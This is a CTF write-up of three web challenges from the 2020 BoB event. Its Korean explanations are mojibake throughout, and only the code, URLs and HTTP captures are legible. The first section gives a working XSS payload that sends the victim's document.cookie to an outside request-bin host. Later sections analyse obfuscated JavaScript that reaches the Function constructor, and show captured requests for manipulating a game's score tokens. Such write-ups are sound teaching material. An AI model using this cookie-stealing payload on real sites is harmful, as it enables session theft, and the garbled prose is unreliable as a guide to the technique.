2020 BoB 9th CTF Write-up

Write-up
CTF
2020 BoB CTF Write-up

2020 BoB CTF Write-up

๐Ÿ–ฅ๏ธ WEB

Last of cat


๐Ÿ’ก
Last of Cat
  • Last of Cat ํŽ˜์ด์ง€์— ์ ‘์†ํ•˜๋ฉด Login Page๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค. ํšŒ์›๊ฐ€์ž…์„ ํ•˜๊ธฐ ์œ„ํ•ด Join ๋ฒ„ํŠผ์„ ํด๋ฆญํ•œ๋‹ค.
  • ํšŒ์›๊ฐ€์ž…ํ•˜๊ณ  ๋กœ๊ทธ์ธ์„ ํ•˜์—ฌ ๋ฉ”๋‰ด๋ฅผ ํ™•์ธํ•œ๋‹ค.
  • Cat๋ฉ”๋‰ด์—์„œ๋Š” ๊ณ ์–‘์ด ์‚ฌ์ง„์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

  • Bot ์—์„œ๋Š” Input URL ๊ธฐ๋Šฅ์„ ํ†ตํ•ด ๋ด‡์—๊ฒŒ XSS ๊ตฌ๋ฌธ์„ ์ „์†กํ•  ์ˆ˜ ์žˆ๋‹ค. ์•„๋ž˜ Bot Log ํ…Œ์ด๋ธ”์—์„œ ๋ด‡์ด ๋‚ด URL์„ ํ™•์ธํ–ˆ๋Š”์ง€ ๋ฐ”๋กœ ํ™•์ธ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.
์ด ๋ฌธ์ œ๋Š” XSS๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ํŽ˜์ด์ง€๋ฅผ ์ฐพ์•„ ํ•ด๋‹น ํŽ˜์ด์ง€๋ฅผ ํ†ตํ•ด ์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ•˜๋ฉด ํ’€๋ฆฌ๋Š” ๊ฐ„๋‹จํ•œ ๋ฌธ์ œ๋‹ค.
  • Cat Page์— ์ ‘์†ํ•˜๋ฉด ์œ„ ํ™”๋ฉด๊ณผ ๊ฐ™์€ ๊ณ ์–‘์ด ์‚ฌ์ง„๊ณผ ๋ฌธ๊ตฌ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค.
  • ์‚ฌ์ง„๊ณผ ๋ฌธ๊ตฌ๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ๋ฃจํ‹ด์„ ์‚ดํŽด๋ณด๋ฉด, src ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•ด html์„ ์ฝ์–ด์˜จ๋‹ค. ํ•ด๋‹น ๊ธฐ๋Šฅ์„ ์ด์šฉํ•˜์—ฌ XSS๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค.
http://bob.zairo.kr:1337/catview?src=http://bob.zairo.kr:1337/cats/ae7d0baaa9b7ad791a6bfa53c936490e.html

  • Cat ํŽ˜์ด์ง€์—์„œ View ๋ฒ„ํŠผ์„ ํด๋ฆญํ• ๋•Œ๋ฅผ Fiddler๋กœ ์‚ดํŽด๋ณด๋ฉด getlink ํŽ˜์ด์ง€์— idx=์ˆซ์ž ํ˜•์‹์œผ๋กœ ํŽ˜์ด์ง€๋ฅผ ์š”์ฒญํ•˜๋Š”๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
  • /getlink?idx=2 ์— ์ ‘์†ํ•˜๋ฉด ์œ„์™€ ๊ฐ™์ด idx์™€ link๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค.
  • getlink ํŽ˜์ด์ง€์— ์ž„์˜ ๊ฐ’์„ ์ž…๋ ฅํ•  ๊ฒฝ์šฐ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅํ•ด์ฃผ๋Š”๋ฐ ํ•ด๋‹น ํŽ˜์ด์ง€์˜ ์‘๋‹ต์˜ Content-Type ์€ application/json์ด๋ผ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค. ํ•˜์ง€๋งŒ, ํŠน์ • ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œ์‹œ์ผœ ํŽ˜์ด์ง€ ๋‚ด๋ถ€์— ํฌํ•จํ•˜๋Š” ๊ฒฝ์šฐ ํ•ด๋‹น ํŽ˜์ด์ง€๋ฅผ ์ด์šฉํ•˜์—ฌ XSS๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค.
http://bob.zairo.kr:1337/catview?src=http%3A%2F%2Fbob.zairo.kr%3A1337%2Fgetlink%3Fidx%3D%253Cscript%253Ealert(1)%253C%252Fscript%253E
  • src์— getlink ํŽ˜์ด์ง€ idx ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์— <script>alert(1);</script> ๋ฅผ 2๋ฒˆ URL Encoding ํ•˜์—ฌ ์ž…๋ ฅํ•˜๋ฉด ๊ทธ๋ฆผ๊ณผ ๊ฐ™์ด alert ๊ตฌ๋ฌธ์ด ์‹คํ–‰๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
  • request bin์„ ์ด์šฉํ•ด ์ž„์˜ ์„œ๋ฒ„๋กœ ์ฟ ํ‚ค๋ฅผ ์ „์†กํ•˜๋„๋ก ํ•˜์—ฌ ํƒˆ์ทจํ•˜๋„๋ก ํ•œ๋‹ค

Payload

http://bob.zairo.kr:1337/catview?src=http://bob.zairo.kr:1337/getlink?idx=http%3A%2F%2Fbob.zairo.kr%3A1337%2Fgetlink%3Fidx%3D%3Cscript%3Edocument.location.href%3D%27https%3A%2F%2Fenwm946jeqwe.x.pipedream.net%2F%3Fparam%27%2Bdocument.cookie%3C%2Fscript%3E
http://bob.zairo.kr:1337/catview?src=http://bob.zairo.kr:1337/getlink?idx=http://bob.zairo.kr:1337/getlink?idx=<script>document.location.href='https://enwm946jeqwe.x.pipedream.net/?param'+ document.cookie</script>
  • ์œ„ ๊ตฌ๋ฌธ์„ ํ†ตํ•ด catview ํŽ˜์ด์ง€์—์„œ src ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ๊ฐ’์„ ์ฒ˜๋ฆฌํ•  ๋•Œ getlink ํŽ˜์ด์ง€์— ์ ‘์†ํ•˜๊ณ  getlink ํŽ˜์ด์ง€์˜ idx์— ์ž…๋ ฅ ๋˜์–ด ์žˆ๋Š” ์Šคํฌ๋ฆฝํŠธ ๊ตฌ๋ฌธ์ด ์‹คํ–‰๋˜์–ด ๊ฒฐ๊ตญ ์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจ ํ•  ์ˆ˜ ์žˆ๋‹ค.

King musae


๐Ÿ’ก
[Javasciprt ๋‚œ๋…ํ™”] ํ•ด๋‹น ๋ฌธ์ œ๋Š” Javascript ๋‚œ๋…ํ™”์ด๋ฉฐ, ๊ฐ„๋‹จํ•˜๊ฒŒ ํ”Œ๋ž˜๊ทธ๊ฐ€ ์ˆจ๊ฒจ์ ธ ์žˆ๋Š” ๋ฌธ์ œ์ž„ (๋ณธ ๋ฌธ์ œ๋Š” ๋กœ์–„ ๋งˆ์นด๋กฑ ์•ต๋ฌด์ƒˆ๊ฐ€ ์ƒ๊ฐ๋‚˜์„œ ๋งŒ๋“ค๊ฒŒ ๋˜์—ˆ์œผ๋ฉฐ, ๋ผ์˜จ์— ๋†€๋Ÿฌ์˜ค์‹œ๋ฉด ๊ผญ ์—ฌ๊ธฐ ๋งˆ์นด๋กฑ์ง‘ ๊ฐ€์•ผ๋ฉ๋‹ˆ๋‹ค.) ํ’€์ด๋Š” ์–ด๋ ต์ง€ ์•Š์œผ๋ฉฐ, ๊ฐ„๋‹จํ•˜๋‹ค. ๋ณ„๋‹ค๋ฅธ ์•ˆํ‹ฐ ๋””๋ฒ„๊น… ๋ฐ ๋ณต์žกํ•œ ๋‚œ๋…ํ™”๊ฐ€ ์•„๋‹Œ ๋‹จ์ˆœํžˆ ํ”Œ๋ž˜๊ทธ๊ฐ€ ์ถœ๋ ฅ๋˜์ง€ ๋ชปํ•˜๋„๋ก ๋ณ€์ˆ˜์— ์ €์žฅ๋˜์–ด์žˆ๋Š” ๊ฑธ ์ฐพ๋Š” ๋ฌธ์ œ์ž„

1. ๋ฌธ์ œ ํŒŒ์•…ํ•˜๊ธฐ

  • ๋ฌธ์ œ ์‚ฌ์ดํŠธ์— ์ ‘์†ํ•˜๋ฉด Javascript Alert๋กœ "find Flag"๋ฅผ ์ถœ๋ ฅ๋œ๋‹ค.

  • Chrome ๊ฐœ๋ฐœ์ž ๋„๊ตฌ์ธ ์†Œ์Šค์ฝ”๋“œ ๋ณด๊ธฐ๋ฅผ ๋ˆŒ๋Ÿฌ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด ๋‚œ๋…ํ™”๋œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๐“†“ = "{}",๐“…ง='',๐“ƒŸ='@',๐“…€="test",๐“…‚='',๐“ŠŽ=๐“…‚+{},๐“†‚ = '',๐“‡Ž=๐“…‚,๐“…ฟ = ๐“…‚+๐“…‚[[]],๐“†Ÿ=๐“…‚,++๐“‡Ž,๐“†Ÿ=๐“ŠŽ[++๐“‡Ž],++๐“†‚,++๐“†‚,++๐“†‚,๐“†Ÿ+=๐“ŠŽ[--๐“‡Ž],++๐“†‚,๐“†Ÿ+=๐“ŠŽ[++๐“‡Ž],๐“†Ÿ+=๐“†“[๐“…ง++],๐“„ง=๐“ŠŽ,--๐“‡Ž,--๐“‡Ž,๐“†ฒ=๐“…ฟ[๐“†‚++], ๐“†ฒ+=๐“…ฟ[๐“†‚++],๐“†ฒ+=๐“…ฟ[๐“†‚++],++๐“†‚,๐“†ฒ+=๐“…ฟ[๐“†‚++],๐“‚€=!๐“…‚+๐“…‚,๐“„=!๐“‚€+๐“…‚,++๐“‡Ž,๐“…ง,๐“†ฃ=๐“‚€[๐“…‚++],๐“Š=๐“‚€[๐“‡Ž=๐“…‚],๐“†‚--,--๐“†‚,๐“†Œ=๐“Š+๐“ƒŸ+๐“ŠŽ[๐“‡Ž]+๐“…ฟ[--๐“†‚],๐“ข=++๐“‡Ž+๐“…‚,๐“†—=๐“ŠŽ[๐“‡Ž+๐“ข],๐“†Œ+=๐“†“[๐“…ง],๐“†“[๐“†ก=๐“†Ÿ+๐“„ง+๐“†Œ],๐“‚€[๐“†—+=๐“ŠŽ[๐“…‚]+(๐“‚€.๐“„+๐“ŠŽ)[๐“…‚]+๐“„[๐“ข]+๐“†ฃ+๐“Š+๐“‚€[๐“‡Ž]+๐“†—+๐“†ฃ+๐“ŠŽ[๐“…‚]+๐“Š][๐“†—](๐“„[๐“…‚]+๐“„[๐“‡Ž]+๐“‚€[๐“ข]+๐“Š+๐“†ฃ+"('"+๐“†ฒ+" Flag')")``
  • ์šฐ์„  ๋‚œ๋…ํ™”๋œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ ํŒŒ์•…ํ•˜๊ธฐ ์ „ "alert" ๋ฌธ์ž์—ด ์—†์ด alert๊ฐ€ ์‹คํ–‰๋œ ๊ฑด ์•Œ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ•ด๋‹น ์ฝ”๋“œ๊ฐ€ ์–ด๋–ป๊ฒŒ ์‹คํ–‰๋˜์—ˆ๋Š”์ง€ "`" ๋ฒกํ„ฐ๋ฅผ ์ œ๊ฑฐํ•˜์—ฌ ๋‚œ๋…ํ™”๋œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š๋„๋ก chrome console์— ๋„ฃ์–ด๋ณด๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด ์ฝ”๋“œ๊ฐ€ ๊ตฌํ˜„๋˜์–ด ์žˆ๋Š” ๊ฑธ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

  • ํ•˜์ง€๋งŒ ๋ณ€์ˆ˜์— ์ €์žฅ๋œ Flag๋Š” ์•Œ ์ˆ˜ ์—†์—ˆ์ง€๋งŒ ๋‚œ๋…ํ™”๋œ ์ฝ”๋“œ๋ฅผ ํ†ตํ•˜์—ฌ alert๊ฐ€ ์‹คํ–‰๋œ๊ฑด ์•Œ ์ˆ˜ ์žˆ๋‹ค.

๋ณด๋‹ค ์‰ฌ์šด ์˜ˆ์ œ๋Š” "Martin Kleppe"๊ฐ€ ์ž‘์„ฑํ•œ ์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด ๋” ์‰ฝ๊ฒŒ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

const ๐“€€ = '๐“…‚';
function ๐“†ฃ(๐“‚€){ alert(๐“‚€); }
๐“†ฃ(๐“€€);

[Martin Kleppe์˜ special characters]

์œ„ ์ฝ”๋“œ๋ฅผ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰๋˜๋ฉด ์ƒˆ๊ฐ€ ์ถœ๋ ฅ๋˜๋Š”๊ฑธ ๋ณผ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์œ„ ์ฝ”๋“œ๋ฅผ ํ•˜๋‚˜์”ฉ ์„ค๋ช…ํ•˜๋ฉด

๋จผ์ € "๐“€€" ๋ณ€์ˆ˜์— ์‹ฑ๊ธ€ ์ฟผํ„ฐ๋กœ ๋ฌธ์ž์—ด๋กœ ๋งŒ๋“ค์–ด '๐“…‚' ์ƒˆ๋ฅผ ์ €์žฅํ•œ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์‚ฌ์šฉ์ž ์ •์˜ ํ•จ์ˆ˜๋ฅผ ๋งŒ๋“œ๋Š” ๊ณผ์ •์—์„œ ํ•จ์ˆ˜ ์ด๋ฆ„ ๋Œ€์‹  "๐“†ฃ" ์žฅ์ˆ˜ ํ’๋Œ•์ด๋กœ ์„ ์–ธํ•˜๊ณ  ์ธ์ž๋ช… ๋Œ€์‹  "๐“‚€" ๋‚˜๋ญ‡์žŽ์„ ์„ ์–ธํ•˜๊ณ  ๋‚ด๋ถ€ ๋กœ์ง์€ alert๋ฅผ ํ†ตํ•˜์—ฌ ์ „๋‹ฌ๋œ ์ธ์ž(๋‚˜๋ญ‡์žŽ)๋ฅผ ํ†ตํ•˜์—ฌ ์ถœ๋ ฅ๋˜๋Š” ๋กœ์ง์ด๋‹ค.

๊ทธ๋Ÿฌ๋ฏ€๋กœ ์ตœ์ข…์ ์œผ๋กœ ์žฅ์ˆ˜ ํ’๋Œ•์ด(ํ•จ์ˆ˜)๋ฅผ ์ƒˆ๊ฐ€ ์ €์žฅ๋œ "๐“€€"๋ณ€์ˆ˜๋ฅผ ์ธ์ž๋กœ ์ „๋‹ฌํ•˜์—ฌ ๊ฒฐ๊ตญ์—” ์ƒˆ๊ฐ€ ์ถœ๋ ฅ๋˜๋Š” ๋กœ์ง์ด๋‹ค. ์—ฌ๊ธฐ๊นŒ์ง€ ์ดํ•ด๊ฐ€ ๋˜์—ˆ๋‹ค๋ฉด ์•„๋ž˜ ์˜ˆ์ œ์—์„œ ๋‚œ๋…ํ™”์— ๋Œ€ํ•ด ์ข€๋” ์•Œ์•„๋ณด๋„๋ก ํ•˜์ž.

2. ๋กœ์ง ํŒŒ์•…ํ•˜๊ธฐ

๐“…‚=''             //    ""
๐“‚€=!๐“…‚+๐“…‚        //    "true"
๐“„=!๐“‚€+๐“…‚         //    "false"
๐“ŠŽ=๐“…‚+{}          //    "[object Object]"

๐“†ฃ=๐“‚€[๐“…‚++]        //   "r" (๐“…‚ = 2)
๐“Š=๐“‚€[๐“‡Ž=๐“…‚]       //   "u" (๐“‡Ž  = 2)
๐“ข=++๐“‡Ž+๐“…‚          //    5  (๐“‡Ž = 3), (๐“‡Ž3 + ๐“…‚2)
๐“†—=๐“ŠŽ[๐“‡Ž+๐“ข]         //    "O"


๐“‚€                 //   "true"
๐“†—+=๐“ŠŽ[๐“…‚]         //   "co"
(๐“‚€.๐“„+๐“ŠŽ)[๐“…‚]    //    "n"
๐“„[๐“ข]              //   "s"
๐“†ฃ                 //   "t"
๐“Š                 //   "r"
๐“ŠŽ[๐“…‚]            //   "o"
๐“Š                //    "r"
๐“†—                 //   "constructor"


๐“‚€[๐“†—+=๐“ŠŽ[๐“…‚]+(๐“‚€.๐“„+๐“ŠŽ)[๐“…‚]+๐“„[๐“ข]+๐“†ฃ+
๐“Š+๐“‚€[๐“‡Ž]+๐“†—+๐“†ฃ+๐“ŠŽ[๐“…‚]+๐“Š][๐“†—]
//   ฦ’ Function() { [native code] }

๐“„[๐“…‚]             //   "a"
๐“„[๐“‡Ž]              //   "l"
๐“‚€[๐“ข]              //   "e"
๐“Š                 //   "r"
๐“†ฃ                  //   "t"

๐“„[๐“…‚]+๐“„[๐“‡Ž]+๐“‚€[๐“ข]+๐“Š+๐“†ฃ // "alert"


๐“‚€[๐“†—+=๐“ŠŽ[๐“…‚]+(๐“‚€.๐“„+๐“ŠŽ)[๐“…‚]+๐“„[๐“ข]+๐“†ฃ+
๐“Š+๐“‚€[๐“‡Ž]+๐“†—+๐“†ฃ+๐“ŠŽ[๐“…‚]+๐“Š][๐“†—](๐“„[๐“…‚]+๐“„[๐“‡Ž]+๐“‚€[๐“ข]+๐“Š+๐“†ฃ+"('"+๐“†ฒ+" Flag')")
// ฦ’ anonymous(
// ) {
// alert('find Flag')
// }

๐“‚€[๐“†—][๐“†—]
// ฦ’ Function() { [native code] }

๐“‚€[๐“†—][๐“†—](๐“„[๐“…‚]+๐“„[๐“‡Ž]+๐“‚€[๐“ข]+๐“Š+๐“†ฃ+"('DongDongE')")``
//ฦ’ anonymous(
//) {
//alert('DongDongE')
//}
  • ์œ„์™€ ๊ฐ™์ด alert๋ฅผ ์ถœ๋ ฅํ•˜๊ธฐ ์œ„ํ•ด ๊ฐ์ข… ๋ฌธ์ž์—ด ์กฐํ•ฉ์œผ๋กœ Function์„ ๋งŒ๋“ค๊ณ  ๋ฌธ์ž๋ฅผ ์กฐํ•ฉ ํ•œ๋‹ค.

์œ„ ์ฝ”๋“œ๊ฐ€ ๊ทธ๋ž˜๋„ ์–ด๋ ต๋‹ค๋ฉด ์•„๋ž˜ ์˜ˆ์ œ์—์„œ ๊ฐ„๋‹จํ•˜๊ฒŒ ํ’€์–ด์„œ ์•Œ์•„๋ณด๋„๋ก ํ•˜์ž.

๐“„[๐“…‚]             //   "a"       "false" ๋ฌธ์ž์—ด์˜ 2๋ฒˆ์งธ "a"
๐“„[๐“‡Ž]              //   "l"       "false" ๋ฌธ์ž์—ด์˜ 3๋ฒˆ์งธ "ใ…ฃ"
๐“‚€[๐“ข]              //   "e"       "true"  ๋ฌธ์ž์—ด์˜ 4๋ฒˆ์งธ "e"
๐“Š                 //   "r"       "true"  ๋ฌธ์ž์—ด์˜ 2๋ฒˆ์งธ "r"
๐“†ฃ                  //   "t"       "true"  ๋ฌธ์ž์—ด์˜ 1๋ฒˆ์งธ "t"

์œ„ ์ฝ”๋“œ์™€ ๊ฐ™์ด "false"์™€ "true"์˜ ๋ฌธ์ž์—ด์„ ํ•˜๋‚˜์”ฉ ์ถ”์ถœํ•˜์—ฌ ์กฐํ•ฉํ•˜๋ฉด "alert"๊ฐ€ ๋˜์–ด alert๊ฐ€ ๋ฌธ์ž์—ด์—์„œ function์œผ๋กœ ์‹คํ–‰๋˜๋„๋ก ํ•˜๋Š” ์›๋ฆฌ์ด๋‹ค.

๊ทธ๋Ÿฌ๋ฉด ์œ„ ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด ํ•˜๋‚˜์”ฉ ๋ณ€์ˆ˜๋ฅผ ์ถœ๋ ฅํ•ด๋ณด๋ฉด ํ”Œ๋ž˜๊ทธ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค.

๐“†ก=๐“†Ÿ+๐“„ง+๐“†Œ
"bob{[object Object]r@on}"

  • Flag is bob{[object Object]r@on}

  • ๊ฐ„ํ˜น ํ”Œ๋ž˜๊ทธ๊ฐ’์ด ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์˜ "object Object"๊ฐ€ ์žˆ๋Š”๊ฑธ ์˜๋ฌธ ๋“ค ์ˆ˜ ์žˆ์ง€๋งŒ ํ•˜๋‚˜์˜ ๋ฌธ์ž๋ฅผ ์ถ”์ถœํ›„ ์กฐํ•ฉํ•˜๊ธฐ ์œ„ํ•ด 3-5์ค„ ๋ผ์ธ์ด ๋” ์ถ”๊ฐ€๋œ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ํ”Œ๋ž˜๊ทธ๋ฅผ "bob[R@onWhiteHat_1235]" ์ด๋Ÿฐ์‹์œผ๋กœ ์ถœ๋ ฅํ•œ๋‹ค๊ณ  ํ•˜๋ฉด 17๊ธ€์ž ์ด๋ฏ€๋กœ 17 * 3 = 51๋ผ์ธ์ด ๋” ์ถ”๊ฐ€๋˜๋ฏ€๋กœ ๋‚œ๋…ํ™”์„ ํ’€์–ด๋‚˜๊ฐ€๋Š” ๊ณผ์ •์—์„œ ๋‚œ์ด๋„๊ฐ€ ์ƒ์Šน๋˜๊ณ  ๋ณต์žกํ•˜๋ฏ€๋กœ ๊ฐ„๋‹จํ•œ ํ”Œ๋ž˜๊ทธ๋ฅผ ๋„ฃ์–ด ๋‚œ์ด๋„๋ฅผ ๋‚ฎ์ถ”๊ฒŒ ๋จ.

Fun Fun Game


๐Ÿ’ก
[Javasciprt ์กฐ์ž‘] ๋ฌธ์ œ ์‚ฌ์ดํŠธ์— ์ ‘์† ์‹œ ์•„๋ž˜์™€ ๊ฐ™์€ ํŽ˜์ด์ง€๊ฐ€ ์ถœ๋ ฅ๋˜๋ฉฐ ๊ฒŒ์ž„์ด ์ง„ํ–‰๋˜๋ฉฐ ๊ฒŒ์ž„ ํ”Œ๋ ˆ์ด ๋ฐฉ๋ฒ•์€ "BOB" ๋ผ๊ณ  ์“ฐ์—ฌ ์žˆ๋Š” ์šฐ์ฃผ๊ดด๋ฌผ์„ ๋‹ค ์ œ๊ฑฐ๋˜์–ด์•ผ Flag๊ฐ€ ๋‚˜์˜ค๋Š” ๋ฌธ์ œ์ž„. (๋ณธ ๋ฌธ์ œ๋Š” Raon Secure Fun Zone๋ฅผ ๋ชจํ‹ฐ๋ธŒ๋กœ ์ œ์ž‘๋จ) ํ’€์ด๋Š” ๋Œ€๋žต 2๊ฐ€์ง€๋กœ ์ƒ๊ฐํ•  ์ˆ˜ ์žˆ๋‹ค. ์ฒซ ๋ฒˆ์งธ๋Š” ์ง์ ‘ ๊ฒŒ์ž„ ํ”Œ๋ ˆ์ด๋ฅผ ์ง„ํ–‰ ํ›„ ์ „๋ถ€ ์ œ๊ฑฐํ•˜์—ฌ Flag๋ฅผ ์–ป๊ฑฐ๋‚˜ (Physical), ๋‘ ๋ฒˆ์งธ ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋กœ์ง์„ ์šฐํšŒํ•˜์—ฌ ๊ฒŒ์ž„ํ•ต(๋ฌด์ , ์Šคํ”ผ๋“œ)์„ ์ œ์ž‘ํ•˜์—ฌ ๊ฒŒ์ž„์„ ์ง„ํ–‰ํ•˜๊ฑฐ๋‚˜ ๋˜๋Š” ๊ฒŒ์ž„ ์ง„ํ–‰ํ•  ํ•„์š” ์—†์ด Flag๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

1. ๋ฌธ์ œ ๋กœ์ง ํŒŒ์•…ํ•˜๊ธฐ

  • ๋ฌธ์ œ๋ฅผ ํŒŒ์•…ํ•˜๊ธฐ ์œ„ํ•ด ๊ฒŒ์ž„ ํ•œํŒ์„ ์ง„ํ–‰ํ•œ๋‹ค.

  • 60 Point๊นŒ์ง€ ์Œ“๊ณ  "Game Over"๋˜์–ด "Restart" ๋ฒ„ํŠผ์„ ๋ˆ„๋ฅธ ์ƒํƒœ์˜ ํŒจํ‚ท History ์ด๋‹ค.

  • ์•„๋ž˜ ํŒจํ‚ท์„ ํ†ตํ•˜์—ฌ ํ•œ๋ฒˆ ์‚ดํŽด๋ณด๋„๋ก ํ•˜์ž.

POST /check.php HTTP/1.1
Host: d0ngd0nge.xyz:1818
Content-Length: 142
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://d0ngd0nge.xyz:1818
Referer: http://d0ngd0nge.xyz:1818/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Cookie: PHPSESSID=sr6j7mur4mbske04717sbn78k6
Connection: close

kills=15&token=start

[25๋ผ์ธ ํŒจํ‚ท - Request]

HTTP/1.1 200 OK
Date: Sun, 30 Aug 2020 01:44:43 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 32
Connection: close
Content-Type: text/html; charset=UTF-8

d2e94e4635c240c14e209fab2fa719e7

[25๋ผ์ธ ํŒจํ‚ท - Response]

POST /check.php HTTP/1.1
Host: d0ngd0nge.xyz:1818
Content-Length: 169
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://d0ngd0nge.xyz:1818
Referer: http://d0ngd0nge.xyz:1818/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Cookie: PHPSESSID=sr6j7mur4mbske04717sbn78k6
Connection: close

kills=15&token=d2e94e4635c240c14e209fab2fa719e7

[26๋ผ์ธ ํŒจํ‚ท - Request]

HTTP/1.1 200 OK
Date: Sun, 30 Aug 2020 01:44:45 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 32
Connection: close
Content-Type: text/html; charset=UTF-8

7a115a19ee939868ff2222f8fd765606

[26๋ผ์ธ ํŒจํ‚ท - Rsponse]

  • 26 ๋ผ์ธ ~ 28 ๋ผ์ธ๊นŒ์ง€ ๊ณผ์ •์ด ๊ฐ™์œผ๋ฏ€๋กœ ์ƒ๋žต

POST /check.php HTTP/1.1
Host: d0ngd0nge.xyz:1818
Content-Length: 11
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://d0ngd0nge.xyz:1818
Referer: http://d0ngd0nge.xyz:1818/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Cookie: PHPSESSID=sr6j7mur4mbske04717sbn78k6
Connection: close

check=start

[๋งˆ์ง€๋ง‰ 29๋ผ์ธ - Reqeust]

HTTP/1.1 200 OK
Date: Sun, 30 Aug 2020 01:46:52 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

[๋งˆ์ง€๋ง‰ 29๋ผ์ธ - Response]

  • ์œ„์™€ ๊ฐ™์ด ๊ทœ์น™์„ฑ์„ ์ฐพ์•„๋ณธ๋‹ค๋ฉด, ์ฒ˜์Œ ๊ฒŒ์ž„ ํ”Œ๋ ˆ์ดํ•˜์—ฌ 15Kill์„ ํ•˜์˜€์„ ๋•Œ "kills=15&token=start" POST ๊ฐ’์— Token์„ ์ƒ๋žตํ•˜์—ฌ ๋ณด๋‚ด์ง€๋งŒ, ์‘๋‹ต์œผ๋กœ "d2e94e4635c240c14e209fab2fa719e7" ํ† ํฐ์„ ๊ฐ€์ ธ์˜ค๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๋‘ ๋ฒˆ์งธ 15Kill ๋ถ€ํ„ฐ ๋ฐ›์•˜๋˜ ํ† ํฐ์„ ๋‹ค์‹œ ์ „์†กํ•˜๋Š” ๊ทœ์น™์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค.
  • ๋งˆ์ง€๋ง‰์œผ๋กœ ๊ฒŒ์ž„์ด ์ข…๋ฃŒ๋˜์—ˆ์„ ๋•Œ๋Š” ๋ณ„๋‹ค๋ฅธ ํŒจํ‚ท์„ ์ „์†กํ•˜์ง€ ์•Š์ง€๋งŒ ์žฌ์‹œ์ž‘(Restart) ๋ฒ„ํŠผ์„ ํด๋ฆญํ•˜์˜€์„ ๋•Œ "check=start" ํŒจํ‚ท์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

